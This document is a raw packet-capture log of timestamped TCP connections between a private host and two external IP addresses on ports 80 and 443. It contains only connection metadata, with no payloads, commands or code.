Nov 29, 2024 19:49:55.917010069 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.917062998 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.917232037 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.917279005 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.919078112 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.919126987 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.919214964 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.919261932 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.921164989 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.921221972 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.922169924 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.922219038 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.923261881 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.923310995 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.923371077 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.923428059 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.925437927 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.925493002 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.925554037 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.925601959 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.927586079 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.927633047 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.927634954 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.927674055 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.929650068 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.929704905 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.929943085 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.929996967 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.931860924 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.931914091 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.932040930 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.932102919 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.933886051 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.933934927 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.934365988 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.934421062 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.935956955 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.936011076 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.936570883 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.936619043 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.938117981 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.938170910 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.938653946 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.938702106 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.940211058 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.940264940 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.940803051 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.940850973 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.942303896 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.942354918 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.942786932 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.942838907 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.944413900 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.944463015 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.944530010 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.944571972 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.946527004 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.946579933 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.947532892 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.947583914 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.948745012 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.948792934 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.948822021 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.948864937 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.950962067 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.951056004 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.951060057 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.951097012 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.952914000 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.952965021 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.953001976 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.953041077 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.954982042 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.955027103 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.955262899 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.955308914 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.957118988 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.957130909 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.957176924 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.959229946 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.959286928 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.959530115 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.959590912 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.961308002 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.961365938 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.961574078 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.961623907 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.963449955 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.963538885 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.963581085 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.963623047 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.965579033 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.965639114 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.965641022 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.965677977 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.967756987 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.967808008 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.967817068 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.967855930 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.969820976 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.969876051 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.971699953 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.971755981 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.972040892 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.972103119 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.972316027 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.972363949 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.974039078 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.974092960 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.974143982 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.974191904 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.976095915 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.976147890 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.976416111 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.976464987 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.978280067 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.978338957 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.979703903 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.979760885 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.980396032 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.980407953 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.980447054 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.980462074 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.982486010 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.982539892 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.982775927 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.982825041 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.984632969 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.984697104 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.986721992 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.986735106 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.986777067 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.986783028 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.986816883 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.988841057 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.988902092 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.990515947 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.990575075 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.990963936 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.991015911 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.991669893 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.991724968 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.993134975 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.993170023 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.993236065 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.995136023 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.995197058 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.995277882 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.995331049 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.997302055 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.997373104 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.997488022 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.997535944 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.999372005 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.999440908 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.999507904 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.999567032 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.001610041 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.001672983 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.079848051 CET	443	49810	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.079946995 CET	443	49810	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.080025911 CET	49810	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.080262899 CET	49810	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.080275059 CET	443	49810	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.080288887 CET	49810	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.080295086 CET	443	49810	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.083211899 CET	49815	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.083250046 CET	443	49815	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.083367109 CET	49815	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.083518028 CET	49815	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.083530903 CET	443	49815	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.106673002 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.106697083 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.106776953 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.107527971 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.107593060 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.107836962 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.107892990 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.108998060 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.109047890 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.109664917 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.109678030 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.109716892 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.111238956 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.111290932 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.111607075 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.111658096 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.112907887 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.112946987 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.112973928 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.112991095 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.113979101 CET	443	49811	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.114046097 CET	443	49811	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.114093065 CET	49811	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.114260912 CET	49811	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.114281893 CET	443	49811	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.114295959 CET	49811	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.114304066 CET	443	49811	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.114635944 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.114687920 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.114695072 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.114736080 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.116055965 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.116127968 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.116565943 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.116664886 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.117585897 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.117654085 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.117774963 CET	49816	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.117814064 CET	443	49816	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.117891073 CET	49816	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.118112087 CET	49816	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:56.118128061 CET	443	49816	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:56.118808985 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.118858099 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.119256020 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.119267941 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.119307041 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.119328022 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.120640993 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.120703936 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.120794058 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.120835066 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.122140884 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.122199059 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.122772932 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.122828007 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.123698950 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.123745918 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.123778105 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.123820066 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.125169039 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.125220060 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.125250101 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.125299931 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.126642942 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.126692057 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.126701117 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.126737118 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.128123045 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.128165960 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.128228903 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.128269911 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.129618883 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.129679918 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.130034924 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.130084991 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.131108999 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.131160975 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.131522894 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.131577969 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.133197069 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.133275032 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.133708000 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.133754969 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.134170055 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.134181976 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.134223938 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.135516882 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.135584116 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.136054039 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.136112928 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.137075901 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.137099028 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.137126923 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.137141943 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.138560057 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.138608932 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.139574051 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.139627934 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.140002012 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.140057087 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.140481949 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.140553951 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.141499996 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.141547918 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.141823053 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.141877890 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.143047094 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.143098116 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.143392086 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.143438101 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.144510031 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.144560099 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.145401001 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.145445108 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.145977020 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.146028042 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.146662951 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.146714926 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.147460938 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.147505999 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.147511959 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.147563934 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.148951054 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.148999929 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.149697065 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.149754047 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.150446892 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.150501966 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.151253939 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.151335955 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.151943922 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.151999950 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.152867079 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.152925014 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.153543949 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.153599977 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.153759956 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.153810978 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.154917002 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.154958963 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.154974937 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.154994011 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.156464100 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.156522989 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.157042980 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.157093048 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.157928944 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.157983065 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.158014059 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.158062935 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.159382105 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.159435987 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.159698009 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.159749031 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.160893917 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.160948992 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.161030054 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.161081076 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.162425041 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.162480116 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.162702084 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.162755013 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.163863897 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.163922071 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.164458990 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.164508104 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:56.165321112 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:56.165369987 CET	49809	80	192.168.2.5	185.215.113.16
